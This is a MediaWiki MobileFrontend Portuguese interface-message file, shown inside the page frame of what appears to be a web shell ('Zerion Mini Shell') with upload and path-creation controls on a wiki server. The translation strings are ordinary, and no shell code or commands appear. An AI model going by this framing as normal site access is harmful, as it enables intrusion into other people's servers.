%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/MobileFrontend/i18n/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/MobileFrontend/i18n/pt.json

{
	"@metadata": {
		"authors": [
			"Cainamarques",
			"Giro720",
			"Hamilton Abreu",
			"HenriqueCrang",
			"Imperadeiro98",
			"João Sousa",
			"Luckas",
			"Malafaya",
			"MetalBrasil",
			"Opraco",
			"Polyethylen",
			"SandroHc",
			"Vitorvicentevalente",
			"Helder.wiki",
			"He7d3r",
			"Macofe",
			"Ti4goc",
			"Imperadeiro90",
			"Fernandofelippe",
			"Fúlvio",
			"Diniscoelho",
			"Athena in Wonderland",
			"Eduardo Addad de Oliveira",
			"Ldacosta"
		]
	},
	"mobile-frontend-editor-anon-cta-message": "Inicie uma sessão ou crie uma conta para monitorizar as suas edições",
	"abusefilter-edit-builder-vars-user-mobile": "Se o utilizador está ou não a editar através da interface móvel",
	"mobile-frontend-account-create-captcha-placeholder": "Introduza o código de confirmação",
	"mobile-frontend-categories-heading": "<strong>Categorias</strong>",
	"mobile-frontend-categories-subheading": "A página pertence às seguintes categorias:",
	"mobile-frontend-categories-nocat": "Esta página ainda não pertence a nenhuma categoria.",
	"mobile-frontend-categories-add": "Adicionar a uma categoria",
	"mobile-frontend-categories-search": "Pesquisar categorias",
	"mobile-frontend-categories-nomatch": "Não foram encontradas categorias para a sua consulta. Tente outro termo.",
	"mobile-frontend-categories-nodata": "Ocorreu um erro. Adicionou algumas categorias para gravar?",
	"mobile-frontend-categories-summary": "Adicionada às categorias",
	"mobile-frontend-categories-add-heading": "<strong>Adicionar<span> $1</span> a novas categorias</strong>",
	"mobile-frontend-categories-add-wait": "A gravar as categorias, por favor aguarde.",
	"mobile-frontend-categories-normal": "Baseada no conteúdo",
	"mobile-frontend-categories-hidden": "Organizativo",
	"mobile-frontend-changeslist-nocomment": "sem resumo de edição",
	"mobile-frontend-cite-error-title": "Erro no carregamento de citações",
	"mobile-frontend-cite-error": "Ocorreu um erro ao tentar carregar citações devido a um identificador de revisão incorreto.",
	"mobile-frontend-cite-none-available": "Não existem citações disponíveis para esta página.",
	"mobile-frontend-clear-search": "Limpar",
	"mobile-frontend-contributions-404-desc": "Não é possível pesquisar contributos sem ter um utilizador ou com um utilizador que não existe.",
	"mobile-frontend-contributions-404-title": "Foi fornecido um nome de utilizador incorreto",
	"mobile-frontend-copyright": "Conteúdo disponibilizado nos termos da $1, salvo indicação em contrário.",
	"mobile-frontend-desc": "Interface para dispositivos móveis",
	"mobile-frontend-diffview-404-desc": "Não existe um identificador para a revisão que pediu.",
	"mobile-frontend-diffview-404-title": "Erro de revisão",
	"mobile-frontend-diffview-anonymous": "Utilizador anónimo",
	"mobile-frontend-diffview-bytesadded": "$1 {{PLURAL:$1|byte adicionado|bytes adicionados}}",
	"mobile-frontend-diffview-bytesnochange": "Sem alteração do tamanho",
	"mobile-frontend-diffview-bytesremoved": "$1 {{PLURAL:$1|byte removido|bytes removidos}}",
	"mobile-frontend-diffview-editcount": "<div>$1</div> {{PLURAL:$1|edição|edições}}",
	"mobile-frontend-diffview-title": "Alterações",
	"mobile-frontend-donate-image-anon": "Inicie uma sessão para ver a página de carregamentos, por favor.",
	"mobile-frontend-donate-image-login-action": "<strong>O conteúdo multimédia da wiki {{SITENAME}} é doado por pessoas como você.</strong><br />Autentique-se para partilhar o seu também.",
	"mobile-frontend-donate-image-nouploads": "Sem carregamentos.",
	"mobile-frontend-donate-image-title": "Carregamentos",
	"mobile-frontend-donate-image-title-username": "Carregamentos por $1",
	"mobile-frontend-donate-image-title-you": "Os seus carregamentos",
	"mobile-frontend-edit-login-action": "<strong>Ajude a melhorar a wiki {{SITENAME}}.</strong><br />Autentique-se para editar.",
	"mobile-frontend-edit-signup-action": "<strong>Ajude a melhorar a wiki {{SITENAME}}.</strong><br />Registe-se para editar.",
	"mobile-frontend-editor-abusefilter-disallow": "Não é possível gravar esta edição porque foi detetado um problema.",
	"mobile-frontend-editor-abusefilter-read-more": "Ler mais",
	"mobile-frontend-editor-abusefilter-warning": "Aviso: Tem a certeza de que pretende gravar esta edição? Ela pode conter problemas por resolver.",
	"mobile-frontend-editor-anon": "Editar sem iniciar sessão",
	"mobile-frontend-editor-anonwarning": "<strong>Aviso</strong>: Não iniciou sessão. O seu endereço IP será registado no histórico de edições desta página. Se <strong>iniciar sessão</strong> ou <strong>criar uma conta</strong>, as suas edições serão registadas com o seu nome de utilizador, podendo ainda usufruir de outros benefícios.",
	"mobile-frontend-editor-blocked-drawer-title": "A sua conta foi bloqueada para edição em {{SITENAME}}",
	"mobile-frontend-editor-blocked-drawer-reason-header": "Motivo do bloqueio",
	"mobile-frontend-editor-blocked-drawer-creator-header": "{{GENDER:$1|Bloqueado|Bloqueada}} por",
	"mobile-frontend-editor-blocked-drawer-expiry-header": "O bloqueio expira em",
	"mobile-frontend-editor-generic-block-reason": "Motivo desconhecido",
	"mobile-frontend-editor-cancel": "Cancelar",
	"mobile-frontend-editor-cancel-confirm": "Tem a certeza de que pretende abandonar a sua edição?",
	"mobile-frontend-editor-captcha-try-again": "Código errado, tente novamente.",
	"mobile-frontend-editor-continue": "Seguinte",
	"mobile-frontend-editor-editing": "A editar",
	"mobile-frontend-editor-editing-page": "<span><strong>A editar</strong> $1</span>",
	"mobile-frontend-editor-error": "Erro, a edição não foi gravada.",
	"mobile-frontend-editor-error-conflict": "Erro, esta página foi editada por outro utilizador.",
	"mobile-frontend-editor-error-loading": "Erro, não foi possível carregar a secção.",
	"mobile-frontend-editor-error-preview": "Erro, ocorreu algo inesperado ao carregar a antevisão. Feche e tente novamente, por favor.",
	"mobile-frontend-editor-keep-editing": "Continuar a editar",
	"mobile-frontend-editor-licensing": "Ao gravar as alterações, concorda em publicar o seu contributo ao abrigo {{PLURAL:$2|da licença|das licenças}} $1.",
	"mobile-frontend-editor-licensing-with-terms": "Ao gravar as alterações, concorda com $1 e em publicar o seu contributo ao abrigo {{PLURAL:$3|da licença|das licenças}} $2.",
	"mobile-frontend-editor-terms-link": "[$1 Condições de Uso]",
	"mobile-frontend-editor-new-page-confirm": "{{GENDER:$1|Tem a certeza de que pretende criar}} uma página nova na wiki {{SITENAME}}?",
	"mobile-frontend-editor-placeholder": "Esta secção está vazia. Seja a primeira pessoa a expandi-la!",
	"mobile-frontend-editor-placeholder-new-page": "{{GENDER:$1|Está a criar}} uma página nova na wiki {{SITENAME}}!",
	"mobile-frontend-editor-previewing-page": "<span><strong>A antever</strong> $1</span>",
	"mobile-frontend-editor-redirect-title": "A redirecionar para o editor...",
	"mobile-frontend-editor-save": "Gravar",
	"mobile-frontend-editor-success": "Sucesso! A sua edição foi gravada.",
	"mobile-frontend-editor-success-landmark-1": "Parabéns, agora é um editor da wiki {{SITENAME}}!",
	"mobile-frontend-editor-success-new-page": "Parabéns pela criação de uma página nova!",
	"mobile-frontend-editor-summary-placeholder": "Exemplo: Correção de erro, adição de conteúdo",
	"mobile-frontend-editor-summary-request": "De que forma contribuiu para melhorar a página?",
	"mobile-frontend-editor-summary": "Resumo:",
	"mobile-frontend-editor-switch-confirm": "Deve gravar a sua alteração antes de alterar o modo de edição.",
	"mobile-frontend-editor-switch-editor": "Alterar modo de edição",
	"mobile-frontend-editor-switch-visual-editor": "Alterar para o Editor Visual",
	"mobile-frontend-editor-viewing-source-page": "<strong>Visualização do código-fonte de</strong><span> $1</span>",
	"mobile-frontend-editor-wait": "A gravar a edição, aguarde por favor.",
	"mobile-frontend-expand-sections-description": "Expandir sempre as secções de todas as páginas por omissão.",
	"mobile-frontend-expand-sections-status": "Expandir todas as secções",
	"mobile-frontend-fontchanger-link": "Tamanho da fonte",
	"mobile-frontend-fontchanger-desc": "Ajusta a dimensão da fonte para melhorar a legibilidade.",
	"mobile-frontend-fontchanger-option-small": "Pequeno",
	"mobile-frontend-fontchanger-option-medium": "Normal",
	"mobile-frontend-fontchanger-option-large": "Grande",
	"mobile-frontend-fontchanger-option-xlarge": "Extra grande",
	"mobile-frontend-featured-article": "Conteúdo em destaque",
	"mobile-frontend-generic-404-desc": "Não foi possível encontrar a página que procura.",
	"mobile-frontend-generic-404-title": "Erro - Página não encontrada",
	"mobile-frontend-generic-login-new": "<strong>A wiki {{SITENAME}} é feita por pessoas como você.</strong><br />Inicie uma sessão para colaborar.",
	"mobile-frontend-history-404-desc": "Não é possível ver o histórico de uma página que não existe. Ela pode ter sido eliminada ou seguiu uma hiperligação incorreta.",
	"mobile-frontend-history-404-title": "A página não existe",
	"mobile-frontend-history-no-results": "O filtro fornecido não tem nenhum histórico relacionado.",
	"mobile-frontend-joined-just-now": "{{GENDER:$1|Registou-se}} agora mesmo",
	"mobile-frontend-joined-seconds": "{{GENDER:$1|Registou-se}} há {{PLURAL:$2|$2 segundo|$2 segundos}}",
	"mobile-frontend-joined-minutes": "{{GENDER:$1|Registou-se}} há {{PLURAL:$2|$2 minuto|$2 minutos}}",
	"mobile-frontend-joined-hours": "{{GENDER:$1|Registou-se}} há {{PLURAL:$2|$2 hora|$2 horas}}",
	"mobile-frontend-joined-days": "{{GENDER:$1|Registou-se}} há {{PLURAL:$2|$2 dia|$2 dias}}",
	"mobile-frontend-joined-months": "{{GENDER:$1|Registou-se}} há {{PLURAL:$2|$2 mês|$2 meses}}",
	"mobile-frontend-joined-years": "{{GENDER:$1|Registou-se}} há {{PLURAL:$2|$2 ano|$2 anos}}",
	"mobile-frontend-language-heading": "<strong>Noutras línguas</strong>",
	"mobile-frontend-languages-404-desc": "Tem de ser especificado um título válido.",
	"mobile-frontend-languages-404-title": "Erro de línguas",
	"mobile-frontend-languages-header": "Línguas",
	"mobile-frontend-languages-header-page": "$1 - Línguas",
	"mobile-frontend-languages-nonexistent-title": "A página \"$1\" não existe.",
	"mobile-frontend-languages-text": "$1 está disponível {{PLURAL:$2|numa língua|em $2 línguas}}.",
	"mobile-frontend-languages-variant-header": "Variantes de {{#language:{{CONTENTLANG}}}}",
	"mobile-frontend-languages-structured-overlay-suggested-languages-header": "Línguas sugeridas",
	"mobile-frontend-languages-structured-overlay-all-languages-header": "Todas as línguas",
	"mobile-frontend-languages-structured-overlay-search-input-placeholder": "Procurar uma língua",
	"mobile-frontend-last-modified-date": "Última edição a $1, às $2",
	"mobile-frontend-last-modified-with-user-days": "[$4 Última {{GENDER:$1|modificação}} há {{PLURAL:$3|$3 dia|$3 dias}}] por {{PLURAL:$5|[$6 $2]|0=um utilizador anónimo}}",
	"mobile-frontend-last-modified-with-user-hours": "[$4 Última {{GENDER:$1|modificação}} há {{PLURAL:$3|$3 hora|$3 horas}}] por {{PLURAL:$5|[$6 $2]|0=um utilizador anónimo}}",
	"mobile-frontend-last-modified-with-user-just-now": "[$3 Última {{GENDER:$1|modificação}}] feita agora por {{PLURAL:$4|[$5 $2]|0=um utilizador anónimo}}",
	"mobile-frontend-last-modified-with-user-minutes": "[$4 Última {{GENDER:$1|modificação}} há {{PLURAL:$3|$3 minuto|$3 minutos}}] por {{PLURAL:$5|[$6 $2]|0=um utilizador anónimo}}",
	"mobile-frontend-last-modified-with-user-months": "[$4 Última {{GENDER:$1|modificação}} há {{PLURAL:$3|$3 mês|$3 meses}}] por {{PLURAL:$5|[$6 $2]|0=um utilizador anónimo}}",
	"mobile-frontend-last-modified-with-user-seconds": "[$4 Última {{GENDER:$1|modificação}} há {{PLURAL:$3|$3 segundo|$3 segundos}}] por {{PLURAL:$5|[$6 $2]|0=um utilizador anónimo}}",
	"mobile-frontend-last-modified-with-user-years": "[$4 Última {{GENDER:$1|modificação}} há {{PLURAL:$3|$3 ano|$3 anos}}] por {{PLURAL:$5|[$6 $2]|0=um utilizador anónimo}}",
	"mobile-frontend-main-menu": "Menu principal",
	"mobile-frontend-main-menu-page-title": "Navegação",
	"mobile-frontend-main-menu-settings-heading": "Configurações",
	"mobile-frontend-media-details": "Detalhes",
	"mobile-frontend-media-license-link": "Informação sobre a licença",
	"mobile-frontend-media-load-fail-message": "Ocorreu um erro ao carregar esta imagem.",
	"mobile-frontend-media-load-fail-retry": "Atualizar",
	"mobile-frontend-missing-image": "Imagem",
	"mobile-frontend-nearby-distance": "{{PLURAL:$1|$1 km}}",
	"mobile-frontend-nearby-distance-meters": "{{PLURAL:$1|$1 m}}",
	"mobile-frontend-nearby-error": "O sistema de localização da wiki {{SITENAME}} está a ter algumas dificuldades.",
	"mobile-frontend-nearby-error-guidance": "Tente atualizar a sua localização.",
	"mobile-frontend-nearby-loading": "A carregar tópicos próximos da sua localização",
	"mobile-frontend-nearby-noresults": "Tudo calmo por aqui... Não existem páginas sobre temas que fiquem nas redondezas.",
	"mobile-frontend-nearby-noresults-guidance": "Tente criar uma página nova ou adicionar a localização a uma já existente",
	"mobile-frontend-nearby-permission-denied": "Recusou à wiki {{SITENAME}} acesso aos serviços de localização. Para alterar a recusa visite a configuração do seu navegador ou do seu dispositivo.",
	"mobile-frontend-nearby-location-unavailable": "A wiki {{SITENAME}} não consegue determinar a sua localização. Tente novamente quando tiver melhor sinal, por favor.",
	"mobile-frontend-nearby-requirements": "Desculpe! O seu navegador não suporta a funcionalidade \"aqui perto\" da wiki {{SITENAME}}.",
	"mobile-frontend-nearby-requirements-guidance": "Tente outro navegador ou reative o JavaScript se o desativou.",
	"mobile-frontend-nearby-title": "Aqui perto",
	"mobile-frontend-nearby-info-heading": "Lugares nas redondezas",
	"mobile-frontend-nearby-info-description": "Pode ler artigos interessantes da Wikipédia sobre lugares à sua volta",
	"mobile-frontend-nearby-info-show-button": "Mostrar artigos das redondezas",
	"mobile-frontend-news-items": "Atualidade",
	"mobile-frontend-opt-in-explain": "βeta de {{SITENAME}} é uma forma de testar estas funcionalidades experimentais e enviar-nos comentários valiosos",
	"mobile-frontend-overlay-close": "Fechar",
	"mobile-frontend-overlay-continue": "Continuar",
	"mobile-frontend-page-edit-summary": "<span><strong>Resumo da edição</strong> $1</span>",
	"mobile-frontend-photo-upload-invalid-user": "O utilizador \"$1\" não está registado.",
	"mobile-frontend-photo-upload-user-count": "{{PLURAL:$1|<span>1</span> carregamento|<span>$1</span> carregamentos}}",
	"mobile-frontend-photo-upload-user-count-over-limit": "mais de 500 envios",
	"mobile-frontend-privacy-link-text": "Privacidade",
	"mobile-frontend-references-citation": "Citação",
	"mobile-frontend-references-citation-error": "Ocorreu um erro e não foi possível carregar esta citação.",
	"mobile-frontend-references-list": "Ver a lista completa de citações",
	"mobile-frontend-requires-mobile": "Esta página só está disponível para dispositivos móveis. Clique a hiperligação para a apresentação móvel no final da página, por favor.",
	"mobile-frontend-requires-optin": "Esta página não está disponível a menos que adote a nossa versão beta. Visite a [[Special:MobileOptions|página das preferências]] para ativá-la.",
	"mobile-frontend-requires-title": "Página indisponível",
	"mobile-frontend-return-to-page": "Voltar à página",
	"mobile-frontend-save-error": "Erro ao gravar a configuração. Certifique-se de que tem os <i>cookies</i> ativados.",
	"mobile-frontend-save-settings": "Gravar",
	"mobile-frontend-search-content": "Procurar nas páginas",
	"mobile-frontend-search-content-no-results": "<b>{{int:mobile-frontend-search-content}}</b> para ver se esta frase aparece em qualquer lugar.",
	"mobile-frontend-search-no-results": "Não há nenhuma página com este título.",
	"mobile-frontend-settings-tagline": "Preferências de leitura",
	"mobile-frontend-settings-beta": "βeta de {{SITENAME}}",
	"mobile-frontend-settings-save": "As configurações foram gravadas.",
	"mobile-frontend-talk-fullpage": "Ler como página wiki",
	"mobile-frontend-talk-add-overlay-content-placeholder": "Em que está a pensar?",
	"mobile-frontend-talk-add-overlay-subject-placeholder": "Assunto",
	"mobile-frontend-talk-add-overlay-submit": "Adicionar discussão",
	"mobile-frontend-talk-explained": "As seguintes discussões estão ativas",
	"mobile-frontend-talk-explained-empty": "Não existem discussões sobre esta página.",
	"mobile-frontend-talk-overlay-header": "Discussão",
	"mobile-frontend-talk-overlay-lead-header": "Discussão sem nome",
	"mobile-frontend-talk-reply": "Responder",
	"mobile-frontend-talk-reply-info": "Note que a sua resposta será assinada automaticamente com o seu nome de utilizador.",
	"mobile-frontend-talk-reply-success": "A sua resposta foi guardada na página de discussão.",
	"mobile-frontend-talk-topic-feedback": "Novo tópico adicionado à página de discussão!",
	"mobile-frontend-talk-topic-error": "O tópico não pode ser acrescentado devido a um erro desconhecido.",
	"mobile-frontend-talk-topic-error-protected": "Esta página de discussão está protegida, e não tem permissão para acrescentar tópicos.",
	"mobile-frontend-talk-topic-error-permission": "O tópico não pode ser adicionado. Não tem permissão para editar páginas.",
	"mobile-frontend-talk-topic-error-spam": "O tópico foi recusado porque continha um fragmento de spam.",
	"mobile-frontend-talk-topic-error-badtoken": "Ocorreu um erro no servidor. Não foi possível gravar a sua edição. Experimente recarregar esta página.",
	"mobile-frontend-talk-topic-wait": "A gravar o seu novo tópico, por favor aguarde.",
	"mobile-frontend-terms-text": "Condições de utilização",
	"mobile-frontend-view": "Versão móvel",
	"mobile-frontend-view-desktop": "Versão desktop",
	"mobile-frontend-watchlist-a-z": "Lista",
	"mobile-frontend-watchlist-a-z-empty-howto": "De momento, não está a vigiar quaisquer páginas. A sua lista de páginas vigiadas ajuda-o a acompanhar as páginas que lhe interessam. Adicione páginas à sua lista clicando o ícone em forma de estrela.",
	"mobile-frontend-watchlist-a-z-empty-howto-alt": "Clique o ícone da estrela",
	"mobile-frontend-watchlist-add": "$1 foi adicionada às suas páginas vigiadas",
	"mobile-frontend-watchlist-back-home": "Voltar ao início",
	"mobile-frontend-watchlist-cta": "Acompanhar esta página e todas as suas alterações.",
	"mobile-frontend-watchlist-cta-button-login": "Entrar",
	"mobile-frontend-watchlist-cta-button-signup": "Registar",
	"mobile-frontend-watchlist-feed": "Modificações",
	"mobile-frontend-watchlist-feed-empty": "Não existem páginas com mudanças recentes.",
	"mobile-frontend-watchlist-filter-all": "Todas",
	"mobile-frontend-watchlist-filter-articles": "Páginas",
	"mobile-frontend-watchlist-filter-other": "Outras",
	"mobile-frontend-watchlist-filter-talk": "Discussão",
	"mobile-frontend-watchlist-more": "mais",
	"mobile-frontend-watchlist-please-wait": "Aguarde, por favor, a operação está a demorar mais do que o esperado.",
	"mobile-frontend-watchlist-error": "Ocorreu um erro ao adicionar esta página às páginas vigiadas. Por favor, tente novamente.",
	"mobile-frontend-watchlist-purpose": "<strong>Uma lista de páginas vigiadas ajuda-o a marcar e acompanhar as páginas e as suas alterações.</strong><br />Autentique-se para editar.",
	"mobile-frontend-watchlist-removed": "$1 foi removida das suas páginas vigiadas",
	"mobile-frontend-watchlist-signup-action": "<strong>Uma lista de páginas vigiadas ajuda-o a marcar e acompanhar as páginas e as suas alterações.</strong><br />Registe-se para começar uma agora.",
	"mobile-frontend-user-page-no-owner-page-yet": "Ainda não tem ainda uma página de utilizador",
	"mobile-frontend-user-page-no-page-yet": "Não existe uma página de utilizador para $1",
	"mobile-frontend-user-page-describe-yourself": "Apresente-se aos restantes $1 na sua página de utilizador",
	"mobile-frontend-user-page-describe-yourself-editors": "editores",
	"mobile-frontend-user-page-desired-action": "Esta página deveria ser criada e editada por $1",
	"mobile-frontend-user-page-create-owner-page-link-label": "Criar a sua própria página",
	"mobile-frontend-user-page-create-user-page-link-label": "Criar uma página intitulada $1",
	"nearby": "Páginas sobre temas perto de si",
	"tag-mobile_edit": "Edição via dispositivo móvel",
	"tag-mobile_edit-description": "Edição feita através de um sítio ou dispositivo móvel",
	"tag-mobile_web_edit": "Edição feita através do sítio móvel",
	"tag-mobile_web_edit-description": "Edição feita através do sítio para dispositivos móveis",
	"apihelp-mobileview-description": "Devolve os dados necessários para o visionamento em dispositivos móveis.",
	"apihelp-mobileview-summary": "Devolve os dados necessários para o visionamento em dispositivos móveis.",
	"apihelp-mobileview-param-page": "Título da página a processar.",
	"apihelp-mobileview-param-redirect": "Se os redirecionamentos devem ser seguidos.",
	"apihelp-mobileview-param-sections": "Lista dos números de secção, separados por barras verticais, cujo texto será devolvido. Pode usar \"all\" para o texto de todas as secções. Intervalos, no formato \"1-4\", significam as secções 1, 2, 3 e 4. Intervalos sem o segundo número, no formato \"1-\", significam todas as secções a partir da especificada. Pode usar \"references\" para especificar que devem ser devolvidas todas as secções que contêm referências.",
	"apihelp-mobileview-param-prop": "As informações a obter:\n;text:O HTML das secções selecionadas.\n;sections:Informação sobre todas as secções da página.\n;normalizedtitle:O título da página normalizado.\n;lastmodified:A data e hora em que a página foi modificada pela última vez, no formato ISO 8601, por exemplo \"2014-04-13T22:42:14Z\".\n;lastmodifiedby:Informação sobre o último utilizador a modificar a página.\n;revision:Devolver o identificador da revisão atual da página.\n;protection:Informação sobre o nível de proteção.\n;editable:Se o utilizador atual pode ou não editar a página. Isto inclui todos os fatores para os utilizadores autenticados, mas não o estado de bloqueio de utilizadores anónimos.\n;languagecount:O número de línguas nas quais a página está disponível.\n;hasvariants:Se a página está ou não disponível noutras variantes da língua.\n;displaytitle:O título da página como será apresentado, com a aplicação de &#123;&#123;DISPLAYTITLE&#125;&#125; e outros.\n;pageprops:As propriedades da página.",
	"apihelp-mobileview-param-prop-withimages": "As informações a obter:\n;text:O HTML das secções selecionadas.\n;sections:Informação sobre todas as secções da página.\n;normalizedtitle:O título da página normalizado.\n;lastmodified:A data e hora em que a página foi modificada pela última vez, no formato ISO 8601, por exemplo \"2014-04-13T22:42:14Z\".\n;lastmodifiedby:Informação sobre o último utilizador a modificar a página.\n;revision:Devolver o identificador da revisão atual da página.\n;protection:Informação sobre o nível de proteção.\n;editable:Se o utilizador atual pode ou não editar a página. Isto inclui todos os fatores para os utilizadores autenticados, mas não o estado de bloqueio de utilizadores anónimos.\n;languagecount:O número de línguas nas quais a página está disponível.\n;hasvariants:Se a página está ou não disponível noutras variantes da língua.\n;displaytitle:O título da página como será apresentado, com a aplicação de &#123;&#123;DISPLAYTITLE&#125;&#125; e outros.\n;pageprops:As propriedades da página.\n;image:Informação sobre uma imagem associada a esta página.\n;thumb:Miniatura da imagem associada a esta página.",
	"apihelp-mobileview-param-sectionprop": "Que informação sobre as secções deve ser obtida.",
	"apihelp-mobileview-param-pageprops": "Que propriedade de página devem ser devolvidas; uma lista separada por barras verticais (\"|\") ou \"*\" para todas as propriedades.",
	"apihelp-mobileview-param-variant": "Converter o conteúdo para esta variante da língua.",
	"apihelp-mobileview-param-noimages": "Devolver o HTML sem imagens.",
	"apihelp-mobileview-param-noheadings": "Não incluir cabeçalhos no resultado de saída.",
	"apihelp-mobileview-param-notransform": "Não transformar o HTML numa versão específica para dispositivos móveis.",
	"apihelp-mobileview-param-onlyrequestedsections": "Devolver só as secções pedidas, mesmo com $1prop=sections.",
	"apihelp-mobileview-param-offset": "Tratar todo o resultado de texto como se fosse uma só linha e devolver a parte a partir deste ponto.",
	"apihelp-mobileview-param-maxlen": "Tratar todo o resultado de texto como se fosse uma só linha e limitar o resultado a este comprimento.",
	"apihelp-mobileview-param-thumbsize": "Dimensões máximas das miniaturas.",
	"apihelp-mobileview-param-thumbwidth": "Largura máxima das miniaturas.",
	"apihelp-mobileview-param-thumbheight": "Altura máxima das miniaturas.",
	"apihelp-mobileview-param-revision": "Solicitar uma revisão específica.",
	"apihelp-mobileview-example-1": "Obter informação sobre a secção 0 da página [[Doom metal]]",
	"apihelp-mobileview-example-2": "Obter informação sobre a secção 0 e as secções que contêm referências, da página [[Candlemass]]",
	"apihelp-mobileview-example-3": "Obter informação sobre a secção 1 e seguintes e sobre as secções que contêm referências, da página [[Candlemass]]",
	"apihelp-parse-param-mobileformat": "Devolver o resultado da análise sintática numa forma adequada para dispositivos móveis.",
	"apihelp-parse-param-noimages": "Desativar imagens no resultado para dispositivos móveis.",
	"apihelp-parse-param-mainpage": "Aplicar as transformações da página principal para dispositivos móveis.",
	"apihelp-webapp-manifest-description": "Devolve um manifesto de aplicação da Internet.",
	"apihelp-webapp-manifest-summary": "Devolve um manifesto de aplicação da Internet.",
	"apierror-mobilefrontend-badidtitle": "Combinação incorreta de identificador de revisão e título.",
	"apierror-mobilefrontend-toomanysizeparams": "<var>thumbsize</var> é mutuamente exclusivo com <var>thumbwidth</var> e <var>thumbheight</var>.",
	"apiwarn-mobilefrontend-ignoringnoheadings": "<var>noheadings</var> não faz sentido na página principal, ignorado.",
	"apiwarn-mobilefrontend-sectionsnotfound": "{{PLURAL:$2|A secção $1 não foi encontrada|As secções $1 não foram encontradas}}.",
	"mobile-frontend-loading-message": "A carregar...",
	"mobile-frontend-panel-ok": "Aceitar",
	"mobile-frontend-panel-cancel": "Não, obrigado",
	"mobile-frontend-panel-betaoptin-msg": "Quer testar algumas funcionalidades novas? Ao adotar a versão beta, terá acesso a funcionalidades experimentais, e corre o risco de encontrar erros e problemas.",
	"mobile-frontend-search-feedback-link-text": "Dê-nos a sua opinião.",
	"mobile-frontend-search-feedback-prompt": "Não encontrou o que procurava?",
	"mobile-frontend-notifications-filter-title": "Filtrar notificações",
	"mobile-frontend-mobile-option-MFLazyLoadReferences": "Referências carregadas de modo ocioso",
	"mobile-frontend-mobile-option-MFEnableWikidataDescriptions": "Descrições do título",
	"mobile-frontend-mobile-option-MFEnableWikidataDescriptions-description": "Saiba mais sobre o tema da página com uma descrição breve abaixo do título",
	"mobile-frontend-mobile-option-MFLazyLoadReferences-description": "Carregar as referências apenas quando for necessário",
	"mobile-frontend-send-feedback": "Enviar opinião",
	"mobile-frontend-mobile-option-MFLazyLoadImages-description": "Carregar as imagens apenas quando for necessário.",
	"mobile-frontend-mobile-option-MFLazyLoadImages": "Imagens carregadas de modo ocioso",
	"mobile-frontend-mobile-option-MFShowFirstParagraphBeforeInfobox": "Parágrafo introdutório",
	"mobile-frontend-mobile-option-MFShowFirstParagraphBeforeInfobox-description": "O texto sempre será mostrado acima das caixas informativas, melhorando o desempenho e a legibilidade.",
	"mobile-frontend-mobile-option-MFExpandAllSectionsUserOption": "Expandir todas as secções por omissão",
	"mobile-frontend-mobile-option-MFExpandAllSectionsUserOption-description": "Desativa a ocultação da secção no sítio para dispositivos móveis.",
	"mobile-frontend-mobile-option-MFEnableFontChanger": "Tamanho da fonte",
	"mobile-frontend-mobile-option-MFEnableFontChanger-description": "Controla o tamanho da fonte da sua experiência de leitura.",
	"mobile-frontend-beta-only": "A funcionalidade está disponível apenas no modo beta",
	"mobile-frontend-console-recruit": "Saiba mais sobre a forma como construímos o nosso sítio móvel @ https://www.mediawiki.org/wiki/Extension:MobileFrontend",
	"mobile-frontend-special-pages-pref": "Otimizar e simplificar as páginas especiais quando estiver em dispositivos móveis (recomendado)",
	"prefs-mobile": "Preferências em dispositivos móveis"
}

Zerion Mini Shell 1.0